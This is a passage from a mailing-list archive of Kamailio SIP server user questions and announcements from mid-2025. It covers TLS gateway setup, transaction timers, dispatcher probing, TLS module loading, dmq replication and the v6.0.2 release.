Content-Length: 0 <--- Received SIP response (463 bytes) from UDP:10.5.0.8:5001 ---> SIP/2.0 500 Message processing error (2/TM) Via: SIP/2.0/UDP 10.5.0.2:5060;rport=5060;branch=z9hG4bKPj8d3db1ed-d98e-4c87-ad71-ef43f47b1801;received=10.5.0.2 From: "Max" <sip:1@172.31.217.74>;tag=ae0b9d4d-89b9-489a-b5ef-3fb04fe6dd97 To: "ChatApp Max" <sip:User1@10.5.0.8;x-ast>;tag=0e4dcc88f47817a0f29d34cc60c5db67-d3fdd014 Call-ID: 0ea7b15e-f176-452a-813d-684b01923c87 CSeq: 24741 MESSAGE Server: kamailio (5.7.6 (x86_64/linux)) Content-Length: 0

4 6

TLS/SRTP bridging
by Jeremy Weibert 12 Jul '25

12 Jul '25

I'm new to Kamailio, and looking for some guidance. I have a very large global PBX network (NEC). I have mobile users, that for many years we have had connecting through VPN. This has worked fine for us until recently, various circumstances have made this unreliable. In searching for a better way to handle this, I came across Kamailio. I want the mobile users using TLS/SRTP, the NEC has various limitations on that, but more importantly, I'm not putting my PBXes on the internet. I've been at this for a few days now, learning and trying to see how I can do this with Kamailio, when I eventually came across this: https://www.fredposner.com/2309/kamailio-simple-tls-gateway/#:~:text=One%20…. Seems this is exactly what I need. The only difference really is that I have an additional firewall between the internet and the Kamailio server, with the external IP being NATed. In the famous last words of all users "it didn't work". Specifically, registrations seem to work just fine (the NEC acts as the registrar). However, when making a call: - The original INVITE from the mobile user (port 5061, TLS) reaches Kamailio and is then proxied via UDP to the PBX. - The PBX behaves appears to behave as a B2BUA, creating a completely new INVITE with a different Call-ID and sending it back to Kamailio. - Kamailio, seeing this as a completely new INVITE coming in on UDP (not TLS), rejects it (403 Accepting TLS Only). - Likewise, if a call originates from the PBX side, same thing. I figure, if the INVITE is coming from the PBX, I can just skip the TLS check, as it's coming from a trusted IP. However, the INVITE looks like: INFO: {1 udp 1 INVITE 7776d675@PBXIP} <script>: {R-MAIN] Incoming request from PRIVATEIP using udp In other words, the INVITE is showing as coming from Kamailio. I can't use the alias tag that Kamailio sets initially as the PBX strips it with the new INVITE. I figure to just explicitly send it to registered client over TLS by just rewriting the destination URI, and then it goes into an infinite loop. I got a bit lost at this point and if someone could help point me in the right direction, I would be eternally grateful.

3 4

ReINVITE on outbound edge proxy
by Sergey Safarov 11 Jul '25

11 Jul '25

We used Kamailio as an edge proxy described rfc5626. Here is the present section "9.3. Incoming Call and Proxy Crash" which describes the failover scenario when a call comes from the server towards the client device (WebRTC client). https://datatracker.ietf.org/doc/html/rfc5626#section-9.3 But also a possible case when the client device wants to place a call on hold, send a ReINVITE message. For some reason, websocket connections can be reestablished during a call, and now the old flow token does not match the new client connection and is handled as an incoming request and cannot be forwarded to a nonexistent client connection. And the client hold/unhold request fails. Example in the attached PCAP file (downloaded from Homer). Here message in frame 32 comes from source port 9184, and the next ReINVITE message from frame 36 comes from source port 9189. Could you point me to the RFC documents describes failover for outbound client requests (hold/unhold). Sergey

2 1

t_set_fr() sensitivity to timing when used in onreply_route
by Gianluca Merlo 10 Jul '25

10 Jul '25

Hello everyone, I am racking my brain on a peculiar behaviour with TM timers which I managed to narrow down after some trial and error, but the full implications and causes of which I still have to understand, and I am curious if anyone among the devs or other users with more knowledge than me has any clarification or suggestion to make about it. My scenario is the following, running Kamailio 5.8.5 on Debian bookworm packages 1. An INVITE for a local user is received 2. Preferences for the local user are read. The user has a certain timeout after which call forwarding should trigger. My setup aims to engage this timeout only if the user has provided a "proper" progress indication (180 or 183), and use a default value of 30 s if no progress is received. For this example, we assume this customized timeout is 10 s. 3. Standard usrloc lookup. A single location is found, behind an edge proxy (registered with Path). 4. INVITE gets sent (statefully) to the user through the edge proxy, UDP transport only. Before routing, the fr_inv_timer is set to the default value mentioned above using t_set_fr(30000). 5. The user replies with a 180. In the onreply_route, since this is the first proper progress indication, the fr_inv_timer is changed to the customized value calling t_set_fr(10000) At this point, I would expect the INVITE transaction to fail for timeout and go into call forwarding from the failure_route after the 10 s set in the onreply_route, but I am getting feedback from users that this does not always happen, and instead sometimes this happens in the 30 s set initially. I tried to reproduce the issue in a controlled setup, and the reliability of the t_set_fr() in onreply_route seems to be affected by the delay with which the 180 is received. Introducing pauses in a simulated client with sipp - With 400ms the call forwarding always triggers as expected (10s) - With 440ms I see 1/10 failures (call forwarding triggers in 30s) - With 450ms I see 5/10 failures - With >500ms I seem to get 10/10 failures So it seems like using t_set_fr() in onreply_route is sensitive to timing. Regarding this sensitivity, I noticed that 500 ms is the default retr_timer1 I am using, and changing that affects the effectiveness of the t_set_fr() call on onreply, i.e. t_set_retr(1000) allows t_set_fr() in onreply_route to be effective up to delays of 1000 ms in the 180 reception. Is this known and/or is there any workaround to get the behaviour I hoped to implement? If the limitation cannot be worked around, could it be useful to mention it in the t_set_fr() documentation? Thanks in advance for your help!

1 0

Off topic - FreeSWITCH and opus
by Calvin E. 09 Jul '25

09 Jul '25

For those who wanted to use opus but gave up due to transcoding or call recording issues, a new pull request should resolve them. This allows FreeSWITCH to properly match things like AMR-WB with 16kHz Opus, and fixes an issue with timestamp increments. https://github.com/signalwire/freeswitch/pull/2832 -Calvin E.

1 0

Re: Delivery Status Notification (Delay)
by David Villasmil 09 Jul '25

09 Jul '25

i'm seeing this for some reason, anyone knows why? Regards, David Villasmil email: david.villasmil.work(a)gmail.com On Wed, Jul 9, 2025 at 3:34 PM Mail Delivery Subsystem < mailer-daemon(a)googlemail.com> wrote: > [image: Error Icon] > Delivery incomplete > There was a temporary problem delivering your message to > *users(a)lists.openser.org*. Gmail will retry for 21 more hours. You'll be > notified if the delivery fails permanently. > The response from the remote server was: > > 454 4.7.1 : Relay access denied > > > > ---------- Forwarded message ---------- > From: David Villasmil <david.villasmil.work(a)gmail.com> > To: "Kamailio (SER) - Users Mailing List" <sr-users(a)lists.kamailio.org>, > openser users <users(a)lists.openser.org> > Cc: > Bcc: > Date: Mon, 7 Jul 2025 12:44:38 +0200 > Subject: Stir/Shaken > Hello, > > I've seen people wondering how to implement Stir/shaken on Kamailio and > OpenSIPS. It occurred to me that making a docker image would help a lot of > people so I did. You can find it in > https://hub.docker.com/repository/docker/davidcsi/kamailio-stirshaken/gener… > and in the description you can read how it works and how to use it. > > Hope it helps! > > David Villasmil > email: david.villasmil.work(a)gmail.com > >

2 2

Kamailio SIPREC
by gcampos＠momenta.network 09 Jul '25

09 Jul '25

has anyone made a successful implementation of SIPREC in kamailio + rtpengine?

4 8

webrtc issue
by mm e 09 Jul '25

09 Jul '25

How to handle webrtc registration and call forwarding: client---(ws)kamailio---(ws)fs, do not use rtpengine proxy media. Can you provide a case?

1 0

A config issue about using kamailio as pcscf related with "uac_req"
by huo.g＠neusoft.com 08 Jul '25

08 Jul '25

To whom may concert: Thank you very much for your time reading this e-mail. I have a config issue when I use kamailio as pcscf. It report the following message when I type ./kamailio -c: 0(1121575) ERROR: <core> [core/pvapi.c:924]: pv_parse_spec2(): error searching pvar "uac_req" 0(1121575) ERROR: <core> [core/pvapi.c:1127]: pv_parse_spec2(): wrong char [m/109] in [$uac_req(method)] at [9 (5)] I notice that Miconda post at https://github.com/kamailio/kamailio/issues/1123: [cid:image001.png@01DBEFFE.5BC17BA0] So I add -DWITH_NATPING to C_DEFS in config.mak，and recompile kamailio, but I still get the same error message showing above. Here are more information: kamailio version: 5.5 I download source code from https://github.com/kamailio/kamailio/tree/5.5.0 Comile step: make cfg include_modules="cdp cdp_avp db_unixodbc ims_dialog ims_ipsec_pcscf ims_qos ims_registrar_pcscf ims_usrloc_pcscf xmlrpc" make all config files: from the source code packet: kamailio-5.5.0/misc/examples/ims/pcscf So I am writing this e-mail for help, thank you very much. --------------------------------------------------------------------------------------------------- Confidentiality Notice: The information contained in this e-mail and any accompanying attachment(s) is intended only for the use of the intended recipient and may be confidential and/or privileged of Neusoft Corporation, its subsidiaries and/or its affiliates. If any reader of this communication is not the intended recipient,unauthorized use,forwarding, printing, storing, disclosure or copying is strictly prohibited, and may be unlawful.If you have received this communication in error,please immediately notify the sender by return e-mail, and delete the original message and all copies from your system. Thank you. ---------------------------------------------------------------------------------------------------

2 1

Registration lookup on Invite
by smartin114＠me.com 07 Jul '25

07 Jul '25

Hi, very new to this and trying to add some security for inbound invites. We only want to allow invites from users that are in the registration table, but everything gets a 403, not just an Invite from an unregistered user. if (KSR.is_INVITE()) { if (KSR.registrar.lookup("location", KSR.pv.get("$fu") < 0 )) { KSR.info("Check user registation before passing invite: " + username + KSR.pv.get("$f")); KSR.sl.send_reply(403, "Forbidden"); KSR.x.exit(); } } Any help is appreciated.

1 0

Stir/Shaken
by David Villasmil 07 Jul '25

07 Jul '25

Hello, I've seen people wondering how to implement Stir/shaken on Kamailio and OpenSIPS. It occurred to me that making a docker image would help a lot of people so I did. You can find it in https://hub.docker.com/repository/docker/davidcsi/kamailio-stirshaken/gener… and in the description you can read how it works and how to use it. Hope it helps! David Villasmil email: david.villasmil.work(a)gmail.com

3 3

node module to help writing SIP functional/integration tests
by mayamatakeshi 07 Jul '25

07 Jul '25

Over the years I have been slowly writing a node module to help me write SIP functional/integration tests: https://github.com/MayamaTakeshi/sip-lab I have been adding new features as I needed for new kinds of test but didn't have time to document it. But now I need to mentor some newcomers to the company I work for and had to do it. I asked gemini to do it for me and got: https://github.com/MayamaTakeshi/sip-lab/blob/master/DOC.md It might be of help for other people so I am sharing it.

2 1

kamailio module development setup
by mohsen khashei 05 Jul '25

05 Jul '25

Hi everyone. I want to start development of an kamailio module. and I am wondering is the any tutorial about that and also what ide or other setup the other people use for this. sorry for begginer question and thanks for attention.

4 4

Running Kamailio 6.0.x with rtpengine 10.5.x.x
by Sebastian Damm 03 Jul '25

03 Jul '25

Hi, I'm in the process of updating Kamailio from 5.8.x to 6.0.x, and in my last tests I noticed these error messages in rtpengine log: WARNING: [3B4A4512-7DA7-439F-97B7-78021488407B]: [core] Unknown dictionary key encountered: 'sip-message-type' We run rtpengine still with version 10.5.x.x (currently 10.5.6.3), and the update of rtpengine is a bit blocked (mainly because of the removal of iptables support requiring more changes for nftables in the background). I tracked down the changes both in rtpengine and kamailio repository, and with rtpengine 12.x it probably would work, but I'm not there yet. In this combination, does rtpengine still do what it should do? I did not notice any problems, but before our customers do, I thought I'd rather ask. Thanks for any advice, Sebastian

1 0

[Help] Websocket synchronization between two nodes
by xiongyiyang＠shuidi-inc.com 03 Jul '25

03 Jul '25

When I use dmq synchronization, I find that websocket cannot synchronize between two nodes. What should I do?

1 0

[microhttpd] POST request with body can't get return message
by mm e 02 Jul '25

02 Jul '25

version: kamailio 6.1.0-dev1 (x86_64/linux) 75b73d loadmodule "microhttpd.so" modparam("microhttpd", "listen_addr", "0.0.0.0") modparam("microhttpd", "listen_port", 8364) event_route[microhttpd:request] { mhttpd_reply("200", "OK", "",""); } When using "curl -X POST http://127.0.0.1:8364", a response can be obtained. When using "curl -d '{"test":"2", "test2":"1"}' -H "Content-Type: application/json" -X POST http://127.0.0.1:8364" to pass json data, the kamailio process will be blocked.

2 5

KamailioProxy: Should kamailio do handshake or asterisk?
by Fernando Lopes 01 Jul '25

01 Jul '25

Hello everyone, I have Kamailio set up as a proxy between external clients and an Asterisk server. When traffic comes in over WSS, should Kamailio handle the TLS handshake, or should it be passed through to Asterisk? Thank you.

4 3

I encountered a problem when using dmq and dmq_usrloc. When I used the save function to save to the location table in the database, the socket field was sometimes empty, which caused problems with my call.
by xiongyiyang＠shuidi-inc.com 01 Jul '25

01 Jul '25

My dmq configuration： loadmodule "dmq_usrloc.so" modparam("dmq_usrloc", "enable", 1) modparam("dmq_usrloc", "sync", 1) modparam("dmq_usrloc", "usrloc_domain", "location_shuidi_online_agent") modparam("dmq_usrloc", "batch_size", 1000) modparam("dialog", "enable_dmq", 1) loadmodule "dmq.so" # ----- dmq params ----- modparam("dmq", "server_address", DMQ_SIP_URL) modparam("dmq", "server_socket", DMQ_UDP_URL) #!ifexp POD_NAME == "kamailio-cti-xyy-0" modparam("dmq", "notification_address", "sip:kamailio-cti-xyy-1.kamailio-cti-xyy-headless.devops.svc.bedin.bj3:5062") #!endif #!ifexp POD_NAME == "kamailio-cti-xyy-1" modparam("dmq", "notification_address", "sip:kamailio-cti-xyy-0.kamailio-cti-xyy-headless.devops.svc.bedin.bj3:5062") #!endif modparam("dmq", "multi_notify", 1) modparam("dmq", "num_workers", 4) modparam("dmq", "ping_interval", 15) Report an error： NATMANAGE cline: c=IN IP4 10.21.24.151 1(11) WARNING: <core> [core/msg_translator.c:2904]: via_builder(): TCP/TLS connection (id: 0) for WebSocket could not be found 1(11) ERROR: <core> [core/msg_translator.c:2044]: build_req_buf_from_sip_req(): could not create Via header 1(11) ERROR: tm [t_fwd.c:482]: prepare_new_uac(): could not build request 1(11) ERROR: tm [t_fwd.c:1759]: t_forward_nonack(): failure to add branches 1(11) ERROR: sl [sl_funcs.c:415]: sl_reply_error(): stateless error reply used: Message processing error (2/SL) I think the reason is that the socket field in the location database is copied to another kamailio node and then updated to the database, causing it to be overwritten and empty. A part of location database table： user_agent socket methods SIP.js/0.21.2 5023 SIP.js/0.21.1 5023 SIP.js/0.21.2 5023 SIP.js/0.21.1 5023 SIP.js/0.21.2 5023 please help ！！！ I really don't know how to prevent the socket field from being overwritten.

1 0

SIP messages examples
by Sergey Safarov 27 Jun '25

27 Jun '25

We are fixing the FreeSwitch issue with Contact headers containing ";" character in the user param. https://github.com/signalwire/freeswitch/issues/2824 Now required to test other use cases where the user part contains "&" / "$" / "," / "?" / "/" Could you provide some examples of SIP messages with these characters in the user part? Sergey

1 0

nghttp2
by mm e 27 Jun '25

27 Jun '25

loadmodule "nghttp2.so" modparam("nghttp2", "listen_addr", "0.0.0.0") modparam("nghttp2", "listen_port", "8363") event_route[nghttp2:request] { xinfo("request: $nghttp2(method) - url: $nghttp2(path) - data: [$nghttp2(data)]\n"); nghttp2_reply("200","OK"); } curl -H "Content-Type: application/json" -X POST -d '{"test":"data"}' "http://127.0.0.1:8363" curl: (56) Recv failure: Connection reset by peer When using curl request, the message "Recv failure" appears. What is wrong with the settings?

2 1

Dispatcher sets IP flag on servers even though SIP OPTIONS receive 200 OK
by Pablo Oliver 26 Jun '25

26 Jun '25

Hi there, I'm new to Kamailio, and maybe this is a silly question. I’ve set up Kamailio as a SIP proxy with two Asterisk servers acting as media services. This is my configuration for the dispatcher module: loadmodule "dispatcher.so" modparam("dispatcher", "db_url", DBURL) modparam("dispatcher", "table_name", "dispatcher") modparam("dispatcher", "flags", 2) modparam("dispatcher", "ds_ping_interval", 20) modparam("dispatcher", "ds_ping_method", "OPTIONS") modparam("dispatcher", "ds_probing_threshold", 5) modparam("dispatcher", "ds_inactive_threshold", 5) modparam("dispatcher", "ds_ping_latency_stats", 1) modparam("dispatcher", "ds_probing_mode", 1) modparam("dispatcher", "ds_ping_reply_codes", "class=2;code=403;code=488;class=3") modparam("dispatcher", "ds_ping_from", SIPCALL) I can see the SIP OPTIONS requests going from Kamailio to Asterisk and receiving 200 OK responses. However, the dispatcher is still setting the IP (Inactive Probing) flag on the servers: kamcmd dispatcher.list { NRSETS: 1 RECORDS: { SET: { ID: 1 TARGETS: { DEST: { URI: sip:172.16.254.21:5060 FLAGS: IP PRIORITY: 0 LATENCY: { AVG: 0 STD: 0 EST: 0 MAX: 0 TIMEOUT: 183 } } DEST: { URI: sip:172.16.254.20:5060 FLAGS: IP PRIORITY: 0 LATENCY: { AVG: 0 STD: 0 EST: 0 MAX: 0 TIMEOUT: 183 } } } } } } So when I try to use ds_select_dst("1", "4"), it always fails. Did I miss something in my configuration? Thanks! Regards, Pablo.

3 6

Context of t_continue
by johannes.westhuis＠auerswald.de 25 Jun '25

25 Jun '25

Hi, we are using kamailio 5.8 with t_suspend to suspend calls until a push notification wakes up the phone. The phone will then send an NOTIFY with information, so that t_continue can be called. This works well, but currently we are facing issues with rtpengine, and looking at the logs, there is something suspicious: we are calling: t_continue("$sht(vtp=>id_index::$hdr(X-Resume))", "$sht(vtp=>id_label::$hdr(X-Resume))", "RESUME"); ... route[RESUME] { xdbgl("[RESUME] rm=$rm ru=$ru du=$du \n"); ... after the call to t_continue i can see the log mentioned above: Jun 24 16:20:52 proxy5 /usr/sbin/kamailio[2337]: DEBUG: {1 34558 NOTIFY sFsXwoWeDXHOzRHqVfA4E5KDT9U6qoov} <script>: 486:[RESUME] rm=INVITE ru=sip:<URI_REDACTED> I wondered why the log call still logs the context as the NOTIFY context and not the INVITE context, and if that might lead to issues? currently we get problems with rtpengine_manage when we try to call it in the route[RESUME] Jun 24 16:20:52 proxy5 /usr/sbin/kamailio[2337]: DEBUG: {1 34558 NOTIFY sFsXwoWeDXHOzRHqVfA4E5KDT9U6qoov} rtpengine [rtpengine.c:3198]: rtpp_function_call(): proxy reply: d7:warning38:Call-ID not found or tags didn't match6:result2:oke We are currently checking, if we can work around this issue, but i am hoping to getting a bit of insight from you. Best Regards JWes

4 4

Kamailio v6.0.2 Released
by Daniel-Constantin Mierla 25 Jun '25

25 Jun '25

Hello, Kamailio SIP Server v6.0.2 stable release is out. This is a maintenance release of the latest stable branch, 6.0, that includes fixes since the release of v6.0.2. There is no change to database schema or configuration language structure that you have to do on previous installations of v6.0.x. Deployments running previous v6.0.x versions are strongly recommended to be upgraded to v6.0.2. For more details about version 6.0.2 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2025/06/kamailio-v6-0-2-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com

1 0

multihoming & BYEs
by Dustin Marquess 25 Jun '25

25 Jun '25

All, I've tried searching and have found similar posts before, but I have yet to find a real 'solution'. I'm running Kamailio 6.0.1 & RTPEngine 13.3.1.7 (on a Linux VM) as a "SBC" (at home) using the config from: https://github.com/voiceboys/sbcOS/blob/version_2.0/var/www/html/alpine/con… Except that I've added the following: mhomed=1 modparam("rr", "force_send_socket", 1) The SBC is dual-homed: one interface on the local LAN and another interface directly on the Internet/WAN (real public IP). Everything works fine, EXCEPT if the remote end (the side on the WAN/Internet) hangs up first. If they do, the BYE never makes it past Kamailio to the local PBX and/or phone. https://users.openser.narkive.com/1aK7n8Il/sr-multihomed-kamailio-and-enabl… suggests to use $sht to save the information needed, but I have no clue where in the config to put that. Any help would be greatly appreciated. Thanks! -Dustin

4 4

Re: kamailio tls module not loading
by Jonathan Aquilina 25 Jun '25

25 Jun '25

Hi Timothy, Have you checked to see there is no firewall blocking traffic? Regards, Jonathan From: Timothy Delin <timothy.delin(a)singtel.com> Sent: 25 June 2025 05:53 To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org> Cc: Who AmI <myfriendjohn1(a)gmail.com>; Jonathan Aquilina <jaquilina(a)eagleeyet.net> Subject: RE: [SR-Users] Re: kamailio tls module not loading Hey Jonathan, I can confirm that this IP address is only used for the Kamailio TLS listener based on the netstat command. /usr/src/kamailio # netstat -tuln | grep 5063 tcp 0 0 192.168.254.19:5063 0.0.0.0:* LISTEN I am not sure if I should have a separate listener and outgoing port for listener. Best regards, Timothy From: Jonathan Aquilina <jaquilina(a)eagleeyet.net<mailto:jaquilina@eagleeyet.net>> Sent: Wednesday, June 25, 2025 11:41 AM To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> Cc: Who AmI <myfriendjohn1(a)gmail.com<mailto:myfriendjohn1@gmail.com>>; Timothy Delin <timothy.delin(a)singtel.com<mailto:timothy.delin@singtel.com>> Subject: RE: [SR-Users] Re: kamailio tls module not loading [CAUTION: External email] Do not click links or open attachments unless you recognize the sender and know the content is safe. ___ Hi Timothy, This line is the give all tell all here: 0(1) DEBUG: <core> [core/tcp_main.c:1305]: find_listening_sock_info(): binding to source address 192.168.254.19:5061 failed: [Address in ue] [98] Address in use im guessing that should say. Can you confirm there are no ip conflicts with another container using the same ip address? Regards, Jonathan From: Timothy Delin via sr-users <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> Sent: 25 June 2025 03:40 To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> Cc: Who AmI <myfriendjohn1(a)gmail.com<mailto:myfriendjohn1@gmail.com>>; Timothy Delin <timothy.delin(a)singtel.com<mailto:timothy.delin@singtel.com>> Subject: [SR-Users] Re: kamailio tls module not loading Hey John, Apologies on the late reply, was away for the whole week. All your questions have been checked and ruled out. However, I still not able to resolve it. Hence, I decided to approach it differently with manual loadparam loadmodule "tls.so" #modparam("tls", "config", "/etc/kamailio/tls/tls.cfg") modparam("tls", "tls_method", "TLSv1.2+") # Force TLS 1.2+ for all connections modparam("tls","require_certificate",1) modparam("tls","verify_certificate",1) modparam("tls","verify_depth",9) modparam("tls","certificate","/etc/kamailio/tls/certificate.pem") modparam("tls","private_key","/etc/kamailio/tls/private_key.pem") modparam("tls","ca_list","/etc/kamailio/tls/server_cas.pem") Now it is showing that the TLS connectivity exist, but I know can't let the Kamailio docker run properly and I keep receiving this log message 0(1) DEBUG: <core> [core/tcp_main.c:1305]: find_listening_sock_info(): binding to source address 192.168.254.19:5061 failed: [Address in ue] [98] 0(1) DEBUG: tls [tls_server.c:242]: tls_complete_init(): completing tls connection initialization 0(1) DEBUG: tls [tls_server.c:204]: tls_get_connect_server_name(): xavp with outbound server name not found 0(1) DEBUG: tls [tls_server.c:178]: tls_get_connect_server_id(): xavp with outbound server id not found 0(1) DEBUG: tls [tls_server.c:185]: tls_get_connect_server_id(): outbound server id not set Just to confirm, does it mean that I cant be using the TLS listen port and output port the same? Best regards, Timothy From: Who AmI <myfriendjohn1(a)gmail.com<mailto:myfriendjohn1@gmail.com>> Sent: Monday, June 16, 2025 6:31 PM To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> Cc: Timothy Delin <timothy.delin(a)singtel.com<mailto:timothy.delin@singtel.com>> Subject: Re: [SR-Users] kamailio tls module not loading [CAUTION: External email] Do not click links or open attachments unless you recognize the sender and know the content is safe. ___ Hi there, A few quick questions just to rule out the simple stuff. - I don't see it, but I assume you have added "loadmodule "tls.so"" to the cfg? - In the file: /etc/kamailio/modules/tls.cfg - this points to the path where the certs are - is that path accessible by the kamailio process for read access? (0600 with owner kamailio or 644 with owner root etc) - Correctly named path and cert name as well in the above file? Hope this helps. John. On Mon, 16 Jun 2025 at 10:30, Timothy Delin via sr-users <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> wrote: Hi everyone, I am facing an issue where I cannot load the TLS module in my Kamailio server. I keep receiving this error message "0(1) ERROR: <core> [core/sr_module.c:529]: ksr_locate_module(): could not find module <tls> in </usr/local/lib64/kamailio/modules> 0(1) CRITICAL: <core> [core/cfg.y:4015]: yyerror_at(): parse error in config file /etc/kamailio/modules/tls.cfg, line 1, column 12-19: failed to load module" The Kamailio that I run has this configuration version: kamailio 5.8.6 (x86_64/linux) 6c71d5 flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: 6c71d5 compiled on 04:12:34 Jun 6 2025 with gcc 12.2.1 ------------------------------------------------------------------- #global.cfg debug=2 log_stderror=no memdbg=5 memlog=5 log_facility=LOG_LOCAL0 log_prefix="{$mt $hdr(CSeq) $ci} " /* number of SIP routing processes */ children=2 /* Defining interfaces */ #!substdef "!PUBLICIP!$env(PUBLICIP)!" #!substdef "!UDPPORT!$env(UDPPORT)!" #!substdef "!PUBLIC_UDP_SOCKET!udp:PUBLICIP:UDPPORT!" /* Need for TLS Support */ #!substdef "!PUBLIC_TLS_SOCKET!TLS:PUBLICIP:5061!" #!substdef "!COREIP!$env(COREIP)!" #!substdef "!UDPPORT!$env(UDPPORT)!" #!substdef "!CORE_UDP_SOCKET!udp:COREIP:UDPPORT!" #!substdefs "!CORESUBNET!$env(CORESUBNET)!" /* listen addresses */ listen=PUBLIC_UDP_SOCKET listen=CORE_UDP_SOCKET /* Need for TLS Support */ listen=tls:0.0.0.0:5061<https://link.edgepilot.com/s/79616226/8h-IjRzlmUan51PlxuZR2Q?u=http://0.0.0…> #!substdef "!DBUSERNAME!$env(DBUSERNAME)!" #!substdef "!DBPASSWORD!$env(DBPASSWORD)!" #!substdef "!DBHOST!$env(DBHOST)!" #!substdef "!DBNAME!$env(DBNAME)!" #!define DBURL "mysql://DBUSERNAME:DBPASSWORD@DBHOST/DBNAME" #!define HTTP_API_ROUTING_ENDPOINT "https://link.edgepilot.com/s/47dca7bc/8tV4cYQp4UOpnHFQ2B1E6A?u=http://172.1…" ---------------------------------------------------------------- #kamailio.cfg ####### Enable TLS ######## enable_tls=yes ####### Core Modules Section ######## include_file "/etc/kamailio/modules-core.cfg" ####### Global Parameters ######### include_file "/etc/kamailio/globals.cfg" ####### Other Modules Section ######## include_file "/etc/kamailio/modules.cfg" ####### Custom Parameters ######### /* These parameters can be modified runtime via RPC interface * - see the documentation of 'cfg_rpc' module. * * Format: group.id<https://link.edgepilot.com/s/46e1218e/fSZaVF1GX0mM6LO8mQoqWA?u=http://group…> = value 'desc' description * Access: $sel(cfg_get.group.id<https://link.edgepilot.com/s/c2c005e4/uslHdtRDQE6btKKfMLeGzQ?u=http://cfg_g…>) or @cfg_get.group.id<https://link.edgepilot.com/s/c2c005e4/uslHdtRDQE6btKKfMLeGzQ?u=http://cfg_g…> */ ####### Routing Logic ######## include_file "/etc/kamailio/routes.cfg" __________________________________________________________ Kamailio - Users Mailing List - Non Commercial Discussions -- sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> To unsubscribe send an email to sr-users-leave(a)lists.kamailio.org<mailto:sr-users-leave@lists.kamailio.org> Important: keep the mailing list in the recipients, do not reply only to the sender! Links contained in this email have been replaced. If you click on a link in the email above, the link will be analyzed for known threats. If a known threat is found, you will not be able to proceed to the destination. If suspicious content is detected, you will see a warning.

2 1

about http server
by mm e 25 Jun '25

25 Jun '25

In kamailio-6.0.x version, there are multiple http servers, such as: XHTTP MICROHTTPD NGHTTP2, which module has the best performance?

2 2

Releasing v6.0.2
by Daniel-Constantin Mierla 25 Jun '25

25 Jun '25

Hello, I am considering to release Kamailio v6.0.2 (out of branch 6.0) on Wednesday, June 25, 2025. If anyone is aware of issues not yet on the bug tracker, report them there asap in order to have a better chance to be fixed. Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com

2 2

kamailio tls module not loading
by Timothy Delin 25 Jun '25

25 Jun '25

Hi everyone, I am facing an issue where I cannot load the TLS module in my Kamailio server. I keep receiving this error message "0(1) ERROR: <core> [core/sr_module.c:529]: ksr_locate_module(): could not find module <tls> in </usr/local/lib64/kamailio/modules> 0(1) CRITICAL: <core> [core/cfg.y:4015]: yyerror_at(): parse error in config file /etc/kamailio/modules/tls.cfg, line 1, column 12-19: failed to load module" The Kamailio that I run has this configuration version: kamailio 5.8.6 (x86_64/linux) 6c71d5 flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: 6c71d5 compiled on 04:12:34 Jun 6 2025 with gcc 12.2.1 ------------------------------------------------------------------- #global.cfg debug=2 log_stderror=no memdbg=5 memlog=5 log_facility=LOG_LOCAL0 log_prefix="{$mt $hdr(CSeq) $ci} " /* number of SIP routing processes */ children=2 /* Defining interfaces */ #!substdef "!PUBLICIP!$env(PUBLICIP)!" #!substdef "!UDPPORT!$env(UDPPORT)!" #!substdef "!PUBLIC_UDP_SOCKET!udp:PUBLICIP:UDPPORT!" /* Need for TLS Support */ #!substdef "!PUBLIC_TLS_SOCKET!TLS:PUBLICIP:5061!" #!substdef "!COREIP!$env(COREIP)!" #!substdef "!UDPPORT!$env(UDPPORT)!" #!substdef "!CORE_UDP_SOCKET!udp:COREIP:UDPPORT!" #!substdefs "!CORESUBNET!$env(CORESUBNET)!" /* listen addresses */ listen=PUBLIC_UDP_SOCKET listen=CORE_UDP_SOCKET /* Need for TLS Support */ listen=tls:0.0.0.0:5061 #!substdef 